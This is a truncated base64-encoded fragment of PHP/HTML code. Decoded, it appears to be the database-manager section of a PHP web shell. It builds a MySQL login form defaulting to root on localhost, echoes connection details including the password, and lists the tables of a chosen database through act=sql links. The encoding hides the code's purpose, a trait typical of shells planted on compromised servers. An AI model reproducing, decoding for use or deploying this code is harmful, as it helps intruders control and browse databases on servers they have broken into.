Nlc3NlcyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJMb2dvdXQiLCRzdXJsLiJhY3Q9c3FsIik7DQogIGVjaG8gIjxjZW50ZXI+PGI+TXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8L2I+PGJyPiI7DQogIGlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+PGI+Ii4kaXRlbVswXS4iPC9iPjwvYT4gXSAiO319DQogIGVjaG8gIjwvY2VudGVyPiI7DQogfQ0KIGVjaG8gIjwvdGQ+PC90cj48dHI+IjsNCiBpZiAoISRzcWxfc29jaykgez8+PHRkIHdpZHRoPSIyOCUiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Zm9udCBzaXplPSI1Ij4gaSA8L2ZvbnQ+PC9jZW50ZXI+PGxpPklmIGxvZ2luIGlzIG51bGwsIGxvZ2luIGlzIG93bmVyIG9mIHByb2Nlc3MuPGxpPklmIGhvc3QgaXMgbnVsbCwgaG9zdCBpcyBsb2NhbGhvc3Q8L2I+PGxpPklmIHBvcnQgaXMgbnVsbCwgcG9ydCBpcyAzMzA2IChkZWZhdWx0KTwvdGQ+PHRkIHdpZHRoPSI5MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxUQUJMRSBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9IjEwMCUiIGJvcmRlcj0wPjx0cj48dGQ+Jm5ic3A7PGI+UGxlYXNlLCBmaWxsIHRoZSBmb3JtOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZTwvYj48L3RkPjx0ZD48Yj5QYXNzd29yZDwvYj4mbmJzcDs8L3RkPjx0ZD48Yj5EYXRhYmFzZTwvYj4mbmJzcDs8L3RkPjwvdHI+PGZvcm0+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJzcWwiPjx0cj48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9InJvb3QiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IiIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9kYiIgdmFsdWU9IiIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48L3RyPjx0cj48dGQ+PGI+SG9zdDwvYj48L3RkPjx0ZD48Yj5QT1JUPC9iPjwvdGQ+PC90cj48dHI+PHRkIGFsaWduPXJpZ2h0PjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0ibG9jYWxob3N0IiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSIzMzA2IiBtYXhsZW5ndGg9IjYiIHNpemU9IjMiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+PD9waHAgfQ0KIGVsc2UNCiB7DQogIC8vU3RhcnQgbGVmdCBwYW5lbA0KICBpZiAoIWVtcHR5KCRzcWxfZGIpKQ0KICB7DQogICBlY2hvICI8dGQgd2lkdGg9XCIyNSVcIiBoZWlnaHQ9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImXCI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOw0KICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQ0KICAgZWxzZQ0KICAgew0KICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7DQogICAgJGMgPSAwOw0KICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJ